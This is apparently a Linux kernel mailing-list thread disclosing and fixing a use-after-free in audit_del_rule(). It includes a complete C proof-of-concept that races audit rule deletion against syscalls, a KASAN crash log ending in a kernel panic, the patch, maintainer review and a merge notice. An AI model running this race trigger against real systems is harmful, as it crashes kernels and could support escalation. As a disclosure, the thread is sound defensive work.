audit: fix use-after-free in audit_del_rule
cover audit: fix use-after-free in audit_del_rule
From: Luxiao Xu <[email protected]>
Hi Linux kernel maintainers,
We found and validated an issue in kernel/auditfilter.c. The bug is reachable by a local user via the audit subsystem. We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
audit_del_rule() destroys e->rule.exe via audit_remove_mark_rule() before unlinking the rule from RCU-visible filter lists and waiting for a grace period. Concurrent readers in audit_filter() and audit_filter_rules() still dereference e->rule.exe, while the fsnotify mark can be freed on an independent lifetime path. This creates a use-after-free window on rule->exe during rule deletion.
To fix this, we ensure that the rule is unlinked from the RCU-visible lists and synchronize_rcu() is invoked before calling audit_remove_mark_rule(). This guarantees that all existing RCU readers have exited their critical sections before any underlying resources are destroyed.
Reproducer:
gcc -O2 -static -o poc poc.c
./poc
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <errno.h>
#include <linux/audit.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <unistd.h>
#ifndef SYS_gettid
#define SYS_gettid __NR_gettid
#endif
static atomic_int g_stop = 0;
struct rule_blob {
struct audit_rule_data *rule;
size_t len;
};static struct rule_blob g_rule;
static int nl_open(void)
{
int fd;
struct sockaddr_nl addr;
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_AUDIT);
if (fd < 0)
return -1;
memset(&addr, 0, sizeof(addr));
addr.nl_family = AF_NETLINK;
addr.nl_pid = (uint32_t)syscall(SYS_gettid);
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
close(fd);
return -1;
}
return fd;
}static int nl_send(int fd, uint16_t type, const void *payload, size_t payload_len,
uint16_t flags, uint32_t seq)
{
char buf[16384];
struct nlmsghdr *h = (struct nlmsghdr *)buf;
struct sockaddr_nl dst;
struct iovec iov;
struct msghdr msg;
if (NLMSG_SPACE(payload_len) > sizeof(buf))
return -EMSGSIZE;
memset(h, 0, NLMSG_SPACE(payload_len));
h->nlmsg_len = NLMSG_LENGTH(payload_len);
h->nlmsg_type = type;
h->nlmsg_flags = NLM_F_REQUEST | flags;
h->nlmsg_seq = seq;
if (payload_len)
memcpy(NLMSG_DATA(h), payload, payload_len);
memset(&dst, 0, sizeof(dst));
dst.nl_family = AF_NETLINK;
iov.iov_base = h;
iov.iov_len = h->nlmsg_len;
memset(&msg, 0, sizeof(msg));
msg.msg_name = &dst;
msg.msg_namelen = sizeof(dst);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
if (sendmsg(fd, &msg, 0) < 0)
return -errno;
return 0;
}static int nl_ack(int fd, uint32_t seq)
{
char buf[8192];
for (;;) {
ssize_t n = recv(fd, buf, sizeof(buf), 0);
if (n < 0) {
if (errno == EINTR)
continue;
return -errno;
}
for (struct nlmsghdr *h = (struct nlmsghdr *)buf;
NLMSG_OK(h, (unsigned int)n);
h = NLMSG_NEXT(h, n)) {
if (h->nlmsg_type != NLMSG_ERROR)
continue;
if (h->nlmsg_seq != seq)
continue;
return ((struct nlmsgerr *)NLMSG_DATA(h))->error;
}
}
}static int nl_req_ack(int fd, uint16_t type, const void *payload, size_t payload_len, uint32_t seq)
{
int ret = nl_send(fd, type, payload, payload_len, NLM_F_ACK, seq);
if (ret < 0)
return ret;
return nl_ack(fd, seq);
}static int set_audit_enabled(int fd, int enabled)
{
struct audit_status st;
memset(&st, 0, sizeof(st));
st.mask = AUDIT_STATUS_ENABLED;
st.enabled = enabled;
return nl_req_ack(fd, AUDIT_SET, &st, sizeof(st), 0x100);
}static struct rule_blob build_rule(const char *exe)
{
struct rule_blob rb = {0};
size_t exe_len = strlen(exe);
size_t len = sizeof(struct audit_rule_data) + exe_len;
struct audit_rule_data *r = calloc(1, len);
int sysno = __NR_gettid;
if (!r)
return rb;
r->flags = AUDIT_FILTER_EXIT;
r->action = AUDIT_NEVER;
if (sysno >= 0 && sysno < AUDIT_BITMASK_SIZE * 32)
r->mask[AUDIT_WORD(sysno)] |= AUDIT_BIT(sysno);
r->field_count = AUDIT_MAX_FIELDS;
for (int i = 0; i < AUDIT_MAX_FIELDS - 1; i++) {
r->fields[i] = AUDIT_UID;
r->values[i] = 0;
r->fieldflags[i] = AUDIT_EQUAL;
}
r->fields[AUDIT_MAX_FIELDS - 1] = AUDIT_EXE;
r->values[AUDIT_MAX_FIELDS - 1] = (uint32_t)exe_len;
r->fieldflags[AUDIT_MAX_FIELDS - 1] = AUDIT_EQUAL;
r->buflen = (uint32_t)exe_len;
memcpy(r->buf, exe, exe_len);
rb.rule = r;
rb.len = len;
return rb;
}static void *syscall_thread(void *arg)
{
(void)arg;
while (!atomic_load_explicit(&g_stop, memory_order_relaxed)) {
(void)syscall(__NR_gettid);
asm volatile("" ::: "memory");
}
return NULL;
}static void *churn_thread(void *arg)
{
int fd = nl_open();
uint32_t seq = 0x200000 + (uint32_t)(intptr_t)arg * 100000;
if (fd < 0)
return NULL;
while (!atomic_load_explicit(&g_stop, memory_order_relaxed)) {
(void)nl_send(fd, AUDIT_DEL_RULE, g_rule.rule, g_rule.len, 0, seq++);
(void)nl_send(fd, AUDIT_ADD_RULE, g_rule.rule, g_rule.len, 0, seq++);
}
close(fd);
return NULL;
}int main(int argc, char **argv)
{
int runtime = 180;
int syscall_threads = 64;
int churners = 8;
int fd, ret;
pthread_t *tids;
if (argc > 1)
runtime = atoi(argv[1]);
if (argc > 2)
syscall_threads = atoi(argv[2]);
if (argc > 3)
churners = atoi(argv[3]);
if (syscall_threads < 1)
syscall_threads = 1;
if (churners < 1)
churners = 1;
g_rule = build_rule("/tmp/poc_exit");
if (!g_rule.rule) {
fprintf(stderr, "build_rule failed\n");
return 1;
}
fd = nl_open();
if (fd < 0) {
perror("nl_open");
return 1;
}
ret = set_audit_enabled(fd, 1);
if (ret < 0)
fprintf(stderr, "AUDIT_SET enable failed: %d (%s)\n", ret, strerror(-ret));
ret = nl_req_ack(fd, AUDIT_ADD_RULE, g_rule.rule, g_rule.len, 0x200);
if (ret < 0 && ret != -EEXIST) {
fprintf(stderr, "AUDIT_ADD_RULE failed: %d (%s)\n", ret, strerror(-ret));
return 1;
}
tids = calloc((size_t)(syscall_threads + churners), sizeof(*tids));
if (!tids)
return 1;
printf("start runtime=%d syscall_threads=%d churners=%d\n", runtime, syscall_threads, churners);
fflush(stdout);
for (int i = 0; i < syscall_threads; i++)
pthread_create(&tids[i], NULL, syscall_thread, NULL);
for (int i = 0; i < churners; i++)
pthread_create(&tids[syscall_threads + i], NULL, churn_thread, (void *)(intptr_t)i);
sleep(runtime);
atomic_store(&g_stop, 1);
for (int i = 0; i < syscall_threads + churners; i++)
pthread_join(tids[i], NULL);
(void)nl_req_ack(fd, AUDIT_DEL_RULE, g_rule.rule, g_rule.len, 0x300);
(void)set_audit_enabled(fd, 0);
close(fd);
free(tids);
free(g_rule.rule);
puts("done");
return 0;
}------END poc.c--------
----BEGIN crash log----
root@syzkaller:/mnt/home_host/new_poc# ./poc [ 257.926507][ T30] audit: type=1305 audit(1784610146.851:113): auid=0 ses=11 start runtime=180 syscall_threads=64 churners=8 [ 258.455876][ T9267] ========================================================= [ 258.456796][ T9267] BUG: KASAN: slab-use-after-free in audit_mark_compare+0x0 [ 258.457821][ T9267] Read of size 8 at addr ffff88801fb6f708 by task poc/9267 [ 258.458538][ T9267] [ 258.458926][ T9267] CPU: 0 UID: 0 PID: 9267 Comm: poc Not tainted 7.0.0-rc6- [ 258.458941][ T9267] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, a4 [ 258.458957][ T9267] Call Trace: [ 258.458978][ T9267] <TASK> [ 258.458981][ T9267] dump_stack_lvl+0x10e/0x1f0 [ 258.459094][ T9267] print_report+0xf7/0x600 [ 258.459216][ T9267] ? preempt_count_sub+0x13/0xd0 [ 258.459244][ T9267] ? __virt_addr_valid+0x1ab/0x330 [ 258.459282][ T9267] ? __phys_addr+0x41/0x90 [ 258.459298][ T9267] ? audit_mark_compare+0x21/0xa0 [ 258.459308][ T9267] kasan_report+0xe4/0x120 [ 258.459316][ T9267] ? audit_mark_compare+0x21/0xa0 [ 258.459338][ T9267] audit_mark_compare+0x21/0xa0 [ 258.459365][ T9267] audit_exe_compare+0xba/0xd0 [ 258.459375][ T9267] audit_filter_rules+0x1332/0x2680 [ 258.459384][ T9267] ? __pfx___schedule+0x10/0x10 [ 258.459539][ T9267] ? __pfx_audit_filter_rules+0x10/0x10 [ 258.459547][ T9267] ? __pfx___schedule+0x10/0x10 [ 258.459571][ T9267] __audit_filter_op+0x1a9/0x260 [ 258.459580][ T9267] ? __pfx___audit_filter_op+0x10/0x10 [ 258.459587][ T9267] ? lock_acquire+0x303/0x360 [ 258.459633][ T9267] ? lock_release+0x225/0x2f0 [ 258.459639][ T9267] audit_filter_syscall.part.0+0x72/0x1b0 [ 258.459647][ T9267] __audit_syscall_exit+0x121/0x1d0 [ 258.459655][ T9267] do_syscall_64+0x7bf/0x800 [ 258.459668][ T9267] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 258.459698][ T9267] RIP: 0033:0x4280bd [ 258.459724][ T9267] Code: b3 66 2e 0f 1f 84 00 00 00 00 00 66 90 f3 0f 1e fa8 [ 258.459730][ T9267] RSP: 002b:00007faa73a36208 EFLAGS: 00000246 ORIG_RAX: 00a [ 258.459750][ T9267] RAX: 0000000000002433 RBX: 00007faa73a36cdc RCX: 0000000d [ 258.459754][ T9267] RDX: 00000000004280bd RSI: 00000000004280bd RDI: 0000000d [ 258.459806][ T9267] RBP: 00007faa73a36240 R08: 0000000000000000 R09: 00000000 [ 258.459810][ T9267] R10: 0000000000000000 R11: 0000000000000246 R12: 00007fa0 [ 258.459814][ T9267] R13: ffffffffffffffb8 R14: 0000000000000000 R15: 00007ff0 [ 258.459821][ T9267] </TASK> [ 258.459823][ T9267] [ 258.480147][ T30] audit: type=1305 audit(1784610147.361:114): auid=0 ses=11 [ 258.480521][ T9267] Allocated by task 9264: [ 258.481306][ T30] audit: type=1305 audit(1784610147.361:115): auid=0 ses=10 [ 258.481949][ T9267] kasan_save_stack+0x33/0x60 [ 258.487115][ T9267] kasan_save_track+0x14/0x30 [ 258.487644][ T9267] __kasan_kmalloc+0xaa/0xb0 [ 258.488362][ T9267] audit_alloc_mark+0x352/0x390 [ 258.488973][ T9267] audit_data_to_entry+0xb95/0x1550 [ 258.489458][ T9267] audit_rule_change+0x2de/0x9b0 [ 258.489910][ T9267] audit_receive_msg+0x9f1/0x26c0 [ 258.490375][ T9267] audit_receive+0x1e6/0x320 [ 258.491308][ T9267] netlink_unicast+0x44c/0x5c0 [ 258.491813][ T9267] netlink_sendmsg+0x493/0x8c0 [ 258.492271][ T9267] ____sys_sendmsg+0x78e/0x7c0 [ 258.492751][ T9267] ___sys_sendmsg+0x129/0x1b0 [ 258.493491][ T9267] __sys_sendmsg+0x133/0x1d0 [ 258.493914][ T9267] do_syscall_64+0x116/0x800 [ 258.494340][ T9267] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 258.495011][ T9267] [ 258.495241][ T9267] Freed by task 56: [ 258.495636][ T9267] kasan_save_stack+0x33/0x60 [ 258.496062][ T9267] kasan_save_track+0x14/0x30 [ 258.496508][ T9267] kasan_save_free_info+0x3b/0x60 [ 258.496992][ T9267] __kasan_slab_free+0x5f/0x80 [ 258.497414][ T9267] kfree+0x2e2/0x6c0 [ 258.497768][ T9267] fsnotify_final_mark_destroy+0x46/0x70 [ 258.498309][ T9267] fsnotify_mark_destroy_workfn+0x18d/0x220 [ 258.498823][ T9267] process_one_work+0x62b/0xfb0 [ 258.499393][ T9267] worker_thread+0x3fd/0x7e0 [ 258.499857][ T9267] kthread+0x221/0x280 [ 258.500263][ T9267] ret_from_fork+0x899/0x9b0 [ 258.500695][ T9267] ret_from_fork_asm+0x1a/0x30 [ 258.501142][ T9267] [ 258.501470][ T9267] The buggy address belongs to the object at ffff88801fb6f0 [ 258.501470][ T9267] which belongs to the cache kmalloc-192 of size 192 [ 258.503484][ T9267] The buggy address is located 8 bytes inside of [ 258.503484][ T9267] freed 192-byte region [ffff88801fb6f700, ffff88801fb6f7) [ 258.504798][ T9267] [ 258.505036][ T9267] The buggy address belongs to the physical page: [ 258.505668][ T9267] page: refcount:0 mapcount:0 mapping:0000000000000000 indf [ 258.506476][ T9267] flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff) [ 258.507106][ T9267] page_type: f5(slab) [ 258.507786][ T9267] raw: 00fff00000000000 ffff8880178413c0 dead000000000100 2 [ 258.508902][ T9267] raw: 0000000000000000 0000000800100010 00000000f5000000 0 [ 258.509716][ T9267] page dumped because: kasan: bad access detected [ 258.510322][ T9267] page_owner tracks the page as allocated [ 258.510896][ T9267] page last allocated via order 0, migratetype Unmovable, 4 [ 258.512959][ T9267] post_alloc_hook+0xe6/0x100 [ 258.513426][ T9267] get_page_from_freelist+0x55c/0x2210 [ 258.513918][ T9267] __alloc_frozen_pages_noprof+0x221/0x1cb0 [ 258.514481][ T9267] new_slab+0xa2/0x5f0 [ 258.514873][ T9267] refill_objects+0xe3/0x430 [ 258.515330][ T9267] __pcs_replace_empty_main+0x2ed/0x650 [ 258.516237][ T9267] __kmalloc_noprof+0x658/0x820 [ 258.517049][ T9267] usb_alloc_urb+0x73/0xa0 [ 258.517562][ T9267] usb_control_msg+0x121/0x290 [ 258.518032][ T9267] usb_get_descriptor+0x9d/0x160 [ 258.518496][ T9267] usb_get_device_descriptor+0x5a/0xc0 [ 258.519017][ T9267] register_root_hub+0xb0/0x400 [ 258.519488][ T9267] usb_add_hcd+0x737/0xd90 [ 258.520235][ T9267] dummy_hcd_probe+0x108/0x240 [ 258.520782][ T9267] platform_probe+0xb4/0x130 [ 258.521236][ T9267] really_probe+0x1a0/0x6f0 [ 258.521669][ T9267] page last free pid 1 tgid 1 stack trace: [ 258.522261][ T9267] __free_frozen_pages+0x52d/0x960 [ 258.522762][ T9267] qlist_free_all+0x47/0xf0 [ 258.523202][ T9267] kasan_quarantine_reduce+0x195/0x1e0 [ 258.523702][ T9267] __kasan_slab_alloc+0x69/0x90 [ 258.524316][ T9267] __kmalloc_cache_noprof+0x23e/0x6e0 [ 258.524911][ T9267] device_add+0x9e7/0x1060 [ 258.525338][ T9267] usb_new_device+0x826/0xe20 [ 258.525793][ T9267] register_root_hub+0x196/0x400 [ 258.526226][ T9267] usb_add_hcd+0x737/0xd90 [ 258.526618][ T9267] dummy_hcd_probe+0x108/0x240 [ 258.527126][ T9267] platform_probe+0xb4/0x130 [ 258.527597][ T9267] really_probe+0x1a0/0x6f0 [ 258.527989][ T9267] __driver_probe_device+0x15d/0x300 [ 258.528889][ T9267] driver_probe_device+0x4a/0x140 [ 258.529368][ T9267] __device_attach_driver+0x14a/0x240 [ 258.530030][ T9267] bus_for_each_drv+0x130/0x1a0 [ 258.530758][ T9267] [ 258.531521][ T9267] Memory state around the buggy address: [ 258.532580][ T9267] ffff88801fb6f600: 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 258.533421][ T9267] ffff88801fb6f680: 00 fc fc fc fc fc fc fc fc fc fc fc fc [ 258.534107][ T9267] >ffff88801fb6f700: fa fb fb fb fb fb fb fb fb fb fb fb fb [ 258.534811][ T9267] ^ [ 258.535202][ T9267] ffff88801fb6f780: fb fb fb fb fb fb fb fb fc fc fc fc fc [ 258.535905][ T9267] ffff88801fb6f800: 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 258.536800][ T9267] ========================================================= [ 258.579900][ T30] audit: type=1300 audit(1784610147.361:115): arch=c000003) [ 258.773269][ T30] audit: type=1327 audit(1784610147.361:115): proctitle="." [ 258.774357][ T30] audit: type=1305 audit(1784610147.361:116): auid=0 ses=11 [ 258.859256][ T30] audit: type=1300 audit(1784610147.361:116): arch=c000003) [ 258.992339][ T30] audit: type=1327 audit(1784610147.361:116): proctitle="." [ 258.993143][ T30] audit: type=1300 audit(1784610147.361:114): arch=c000003) [ 259.140572][ T30] audit: type=1306 audit(1784610147.361:114): saddr=1000000 [ 261.216937][ T9267] Kernel panic - not syncing: KASAN: panic_on_warn set ... [ 261.217841][ T9267] CPU: 0 UID: 0 PID: 9267 Comm: poc Not tainted 7.0.0-rc6- [ 261.218702][ T9267] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, a4 [ 261.219693][ T9267] Call Trace: [ 261.219971][ T9267] <TASK> [ 261.220216][ T9267] dump_stack_lvl+0x3b/0x1f0 [ 261.220601][ T9267] vpanic+0x8b4/0x930 [ 261.220972][ T9267] ? __pfx_vpanic+0x10/0x10 [ 261.221574][ T9267] ? audit_mark_compare+0x21/0xa0 [ 261.222155][ T9267] panic+0xca/0xd0 [ 261.222521][ T9267] ? __pfx_panic+0x10/0x10 [ 261.223114][ T9267] ? audit_mark_compare+0x21/0xa0 [ 261.224082][ T9267] ? preempt_schedule_thunk+0x16/0x40 [ 261.224628][ T9267] ? preempt_schedule_common+0x3b/0x80 [ 261.225514][ T9267] ? preempt_schedule_thunk+0x16/0x40 [ 261.226494][ T9267] ? check_panic_on_warn+0x1f/0xb0 [ 261.227600][ T9267] check_panic_on_warn+0xab/0xb0 [ 261.228426][ T9267] end_report+0x132/0x180 [ 261.228933][ T9267] kasan_report+0xf4/0x120 [ 261.229375][ T9267] ? audit_mark_compare+0x21/0xa0 [ 261.229826][ T9267] audit_mark_compare+0x21/0xa0 [ 261.230429][ T9267] audit_exe_compare+0xba/0xd0 [ 261.230947][ T9267] audit_filter_rules+0x1332/0x2680 [ 261.231437][ T9267] ? __pfx___schedule+0x10/0x10 [ 261.232123][ T9267] ? __pfx_audit_filter_rules+0x10/0x10 [ 261.232760][ T9267] ? __pfx___schedule+0x10/0x10 [ 261.233226][ T9267] __audit_filter_op+0x1a9/0x260 [ 261.233681][ T9267] ? __pfx___audit_filter_op+0x10/0x10 [ 261.234230][ T9267] ? lock_acquire+0x303/0x360 [ 261.234647][ T9267] ? lock_release+0x225/0x2f0 [ 261.235083][ T9267] audit_filter_syscall.part.0+0x72/0x1b0 [ 261.235613][ T9267] __audit_syscall_exit+0x121/0x1d0 [ 261.236459][ T9267] do_syscall_64+0x7bf/0x800 [ 261.237258][ T9267] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 261.238087][ T9267] RIP: 0033:0x4280bd [ 261.238453][ T9267] Code: b3 66 2e 0f 1f 84 00 00 00 00 00 66 90 f3 0f 1e fa8 [ 261.240923][ T9267] RSP: 002b:00007faa73a36208 EFLAGS: 00000246 ORIG_RAX: 00a [ 261.241676][ T9267] RAX: 0000000000002433 RBX: 00007faa73a36cdc RCX: 0000000d [ 261.242408][ T9267] RDX: 00000000004280bd RSI: 00000000004280bd RDI: 0000000d [ 261.243214][ T9267] RBP: 00007faa73a36240 R08: 0000000000000000 R09: 00000000 [ 261.243942][ T9267] R10: 0000000000000000 R11: 0000000000000246 R12: 00007fa0 [ 261.244898][ T9267] R13: ffffffffffffffb8 R14: 0000000000000000 R15: 00007ff0 [ 261.245614][ T9267] </TASK> [ 261.246561][ T9267] Kernel Offset: disabled [ 261.247004][ T9267] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Luxiao Xu
Luxiao Xu (1):
audit: fix potential use-after-free in audit_del_rule()
kernel/auditfilter.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-)
Signature · 1 line
2.43.0
PATCH 1/1 audit: fix potential use-after-free in audit_del_rule()
From: Luxiao Xu <[email protected]>
audit_del_rule() destroys e->rule.exe via audit_remove_mark_rule() before unlinking the rule from RCU-visible filter lists and waiting for a grace period. Concurrent readers in audit_filter() and audit_filter_rules() still dereference e->rule.exe, while the fsnotify mark can be freed on an independent lifetime path. This creates a use-after-free window during rule deletion.
Fix this by unlinking the rule from the RCU-visible lists and invoking synchronize_rcu() before calling audit_remove_mark_rule() (and other rule removal helpers). This ensures that all existing RCU readers have exited the critical section before any underlying resources are destroyed.
--- kernel/auditfilter.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-)
kernel/auditfilter.c +4 -2
@@ -1045,6 +1045,10 @@ int audit_del_rule(struct audit_entry *entry) goto out; } +list_del_rcu (&e->list); +list_del (&e->rule.list); +synchronize_rcu (); +if (e->rule.watch)audit_remove_watch_rule (&e->rule);
@@ -1062,8 +1066,6 @@ int audit_del_rule(struct audit_entry *entry) audit_signals--;#endif -list_del_rcu (&e->list); -list_del (&e->rule.list);call_rcu (&e->rcu, audit_free_rule_rcu); out:
Signature · 1 line
2.43.0
Paul Moore
maintainerRe: [PATCH 1/1] audit: fix potential use-after-free in audit_del_rule()
Quoted 19 lines · On Jul 21, 2026 Ren Wei <[email protected]> wrote:
audit_del_rule()destroyse->rule.exeviaaudit_remove_mark_rule()before unlinking the rule from RCU-visible filter lists and waiting for a grace period. Concurrent readers inaudit_filter()andaudit_filter_rules()still dereferencee->rule.exe, while the fsnotify mark can be freed on an independent lifetime path. This creates a use-after-free window during rule deletion.Fix this by unlinking the rule from the RCU-visible lists and invoking
synchronize_rcu()before callingaudit_remove_mark_rule()(and other rule removal helpers). This ensures that all existing RCU readers have exited the critical section before any underlying resources are destroyed.Fixes 34d99af52ad4 ("audit: implement audit by executable")Reported-by Vega <[email protected]>Assisted-by Codex:gpt-5.4Signed-off-by Luxiao Xu <[email protected]>Signed-off-by Ren Wei <[email protected]>
Quoted 3 lines
--- kernel/auditfilter.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-)
Thanks for identifying this and providing a patch, some initial thoughts below ...
kernel/auditfilter.c int audit_del_rule(struct audit_entry *entry) · line 1050
Quoted 11 lines
kernel/auditfilter.c +3
-0@@ -1045,6 +1045,10 @@ int audit_del_rule(struct audit_entry *entry) goto out; } +list_del_rcu (&e->list); +list_del (&e->rule.list); +synchronize_rcu ();
I generally prefer to use call_rcu() instead of synchronize_rcu() when possible. Did you consider creating a audit_del_rule_rcu() (or similar) function which would perform the other cleanups/releases below this point including the call to audit_free_rule_rcu() which could then be called by call_rcu()?
It's worth mentioning that I didn't verify all of the code involved to know if this would work, be safe, etc., I just wanted to check to see if you already had and decided synchronize_rcu() was the only option.
Quoted 14 lines
kernel/auditfilter.c +0
-2if (e->rule.watch)audit_remove_watch_rule (&e->rule);@@ -1062,8 +1066,6 @@ int audit_del_rule(struct audit_entry *entry) audit_signals--;#endif -list_del_rcu (&e->list); -list_del (&e->rule.list);call_rcu (&e->rcu, audit_free_rule_rcu); out:Signature · 1 line
2.43.0
--
paul-moore.com
Re: [PATCH 1/1] audit: fix potential use-after-free in audit_del_rule()
Quoted 46 lines · Paul Moore <[email protected]> 于2026年7月24日周五 05:57写道:
Quoted 19 lines · On Jul 21, 2026 Ren Wei <[email protected]> wrote:
audit_del_rule()destroyse->rule.exeviaaudit_remove_mark_rule()before unlinking the rule from RCU-visible filter lists and waiting for a grace period. Concurrent readers inaudit_filter()andaudit_filter_rules()still dereferencee->rule.exe, while the fsnotify mark can be freed on an independent lifetime path. This creates a use-after-free window during rule deletion.Fix this by unlinking the rule from the RCU-visible lists and invoking
synchronize_rcu()before callingaudit_remove_mark_rule()(and other rule removal helpers). This ensures that all existing RCU readers have exited the critical section before any underlying resources are destroyed.Fixes 34d99af52ad4 ("audit: implement audit by executable")Reported-by Vega <[email protected]>Assisted-by Codex:gpt-5.4Signed-off-by Luxiao Xu <[email protected]>Signed-off-by Ren Wei <[email protected]>Quoted 3 lines
--- kernel/auditfilter.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-)Thanks for identifying this and providing a patch, some initial thoughts below ...
kernel/auditfilter.c int audit_del_rule(struct audit_entry *entry) · line 1050
Quoted 11 lines
kernel/auditfilter.c +3
-0@@ -1045,6 +1045,10 @@ int audit_del_rule(struct audit_entry *entry) goto out; } +list_del_rcu (&e->list); +list_del (&e->rule.list); +synchronize_rcu ();I generally prefer to use
call_rcu()instead ofsynchronize_rcu()when possible. Did you consider creating aaudit_del_rule_rcu()(or similar) function which would perform the other cleanups/releases below this point including the call toaudit_free_rule_rcu()which could then be called bycall_rcu()?
Quoted 4 lines
It's worth mentioning that I didn't verify all of the code involved to know if this would work, be safe, etc., I just wanted to check to see if you already had and decided
synchronize_rcu()was the only option.
Thanks for reviewing the patch and for the suggestion! I did look into using call_rcu() for the cleanup, but we cannot do so due to sleeping constraints in RCU callbacks.
Specifically, the cleanup helpers called during rule deletion (such as audit_remove_mark_rule(), audit_remove_watch_rule(), and audit_remove_tree_rule()) can sleep. For instance, removing a mark via audit_remove_mark_rule() eventually calls fsnotify_destroy_mark(), which acquires mutexes (e.g., group->mark_mutex) and can block.
Since call_rcu() callbacks run in softirq (atomic) context, invoking these sleeping functions there would trigger a "scheduling while atomic" bug.
audit_del_rule() runs in process context, which allows it to safely sleep during synchronize_rcu() and the subsequent rule/mark removals. Therefore, synchronize_rcu() appears to be the necessary choice here.
Quoted 17 lines
Quoted 13 lines
kernel/auditfilter.c +0
-3if (e->rule.watch)audit_remove_watch_rule (&e->rule);@@ -1062,8 +1066,6 @@ int audit_del_rule(struct audit_entry *entry) audit_signals--;#endif -list_del_rcu (&e->list); -list_del (&e->rule.list);call_rcu (&e->rcu, audit_free_rule_rcu); out: --Quoted 1 line
2.43.0
--
paul-moore.com
Re: [PATCH 1/1] audit: fix potential use-after-free in audit_del_rule()
Quoted 47 lines · Lain Anc
Quoted 46 lines · Paul Moore <[email protected]> 于2026年7月24日周五 05:57写道:
Quoted 19 lines · On Jul 21, 2026 Ren Wei <[email protected]> wrote:
audit_del_rule()destroyse->rule.exeviaaudit_remove_mark_rule()before unlinking the rule from RCU-visible filter lists and waiting for a grace period. Concurrent readers inaudit_filter()andaudit_filter_rules()still dereferencee->rule.exe, while the fsnotify mark can be freed on an independent lifetime path. This creates a use-after-free window during rule deletion.Fix this by unlinking the rule from the RCU-visible lists and invoking
synchronize_rcu()before callingaudit_remove_mark_rule()(and other rule removal helpers). This ensures that all existing RCU readers have exited the critical section before any underlying resources are destroyed.Fixes 34d99af52ad4 ("audit: implement audit by executable")Reported-by Vega <[email protected]>Assisted-by Codex:gpt-5.4Signed-off-by Luxiao Xu <[email protected]>Signed-off-by Ren Wei <[email protected]>Quoted 3 lines
--- kernel/auditfilter.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-)Thanks for identifying this and providing a patch, some initial thoughts below ...
kernel/auditfilter.c int audit_del_rule(struct audit_entry *entry) · line 1050
Quoted 11 lines
kernel/auditfilter.c +3
-0@@ -1045,6 +1045,10 @@ int audit_del_rule(struct audit_entry *entry) goto out; } +list_del_rcu (&e->list); +list_del (&e->rule.list); +synchronize_rcu ();I generally prefer to use
call_rcu()instead ofsynchronize_rcu()when possible. Did you consider creating aaudit_del_rule_rcu()(or similar) function which would perform the other cleanups/releases below this point including the call toaudit_free_rule_rcu()which could then be called bycall_rcu()?
Quoted 8 lines
Quoted 4 lines
It's worth mentioning that I didn't verify all of the code involved to know if this would work, be safe, etc., I just wanted to check to see if you already had and decided
synchronize_rcu()was the only option.Thanks for reviewing the patch and for the suggestion! I did look into using
call_rcu()for the cleanup, but we cannot do so due to sleeping constraints in RCU callbacks.
Merged into audit/stable-7.2, thanks.
Signature · 1 line
paul-moore.com